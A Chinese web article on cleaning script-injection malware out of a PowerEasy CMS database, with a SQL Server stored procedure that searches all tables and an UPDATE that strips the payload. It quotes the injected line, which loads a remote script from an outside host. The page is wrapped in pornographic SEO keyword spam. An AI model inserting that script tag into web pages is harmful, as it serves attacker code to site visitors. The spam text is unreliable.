a亚洲精品_精品国产91乱码一区二区三区_亚洲精品在线免费观看视频_欧美日韩亚洲国产综合_久久久久久久久久久成人_在线区

首頁 > 網站 > 網站安全 > 正文

解析【木馬】手動刪除動易數據庫被注入JS代碼的方法

2024-09-06 18:38:39
字體:
來源:轉載
供稿:網友

問題:動易數據庫連續幾天被注入JS代碼,那么可不可以直接從數據庫著手進行清除木馬代碼操作呢?

數據庫被注入的代碼是:"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--

 

解決:發現在PE_CLASS表中的tips、Meta_Keywords、Meta_Description、LinkUrl字段存在注入的JS,表太多,一個一個去查,是比較費時費力的,那么我們可以通過一個全庫搜索的方法,建立一個存儲過程

create   proc   p_search  
  @str   Nvarchar(1000)   --要搜索的字符串  
  as  
  if   @str=''   return  
   
  declare   @s   Nvarchar(4000)  
  create   table   #t(表名   sysname,字段名   sysname)  
   
  declare   tb   cursor   local   for  
  select   s='if   exists(select   1   from   ['+replace(b.name,']',']]')+']   where   ['+a.name+']   like   N''%'+@str+'%'')  
  print   ''所在的表及字段:   ['+b.name+'].['+a.name+']'''  
  from   syscolumns   a   join   sysobjects   b   on   a.id=b.id  
  where   b.xtype='U'   and   a.status>=0  
  and   a.xtype   in(175,239,99,35,231,167)  
  open   tb  
  fetch   next   from   tb   into   @s  
  while   @@fetch_status=0  
  begin  
  exec(@s)  
  fetch   next   from   tb   into   @s  
  end  
  close   tb  
  deallocate   tb
GO


執行:p_search '"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'

找到被注入的表及字段,執行恢復操作,下面是一個例子

UPDATE PE_Class SET Tips= Replace(Tips,'"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--','')
 
注意:以上雖然能較方便的處理木馬代碼,但我們仍要對網站文件進行清查工作,不然網站是會反復中木馬的,特別是對于有生成靜態頁面的網站,我們要重新生成下網站頁面,以正常的生成頁面覆蓋現有木馬代碼的頁面
 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 午夜久久久久 | 天堂√在线观看一区二区 | 国产裸体永久免费视频网站 | 国产成人精品久久 | 久久线视频| 亚洲成人自拍 | 欧美日韩成人在线 | 婷婷丁香社区 | 国产精品一区二区三区四区 | 夜夜嗨av涩爱av牛牛影视 | 午夜国产精品视频 | 精品欧美乱码久久久久久 | 精品久久一区 | 久久免费精品视频 | 久久免费视频网站 | 中文在线一区 | 操人网| 在线日本中文字幕 | 97精品国产 | 亚洲高清一二三区 | 亚洲欧美中文日韩在线v日本 | 日本黄色大片免费 | 一区二区三区视频 | 亚洲欧美第一页 | 日韩一区电影 | 国产精品天天干 | av免费网站| 一级片手机免费看 | 国产特黄大片aaaaa毛片 | 一区二区三区视频免费在线观看 | 日本亚洲精品成人欧美一区 | 久久理论片 | 亚洲一区二区三区在线 | 日韩一级av毛片 | 国产区福利 | 爱爱日韩| 日韩激情| 一区二区三区国产好 | 国产ts余喵喵和直男多体位 | 91精品国产高清一区二区三区 | 国产美女自拍视频 |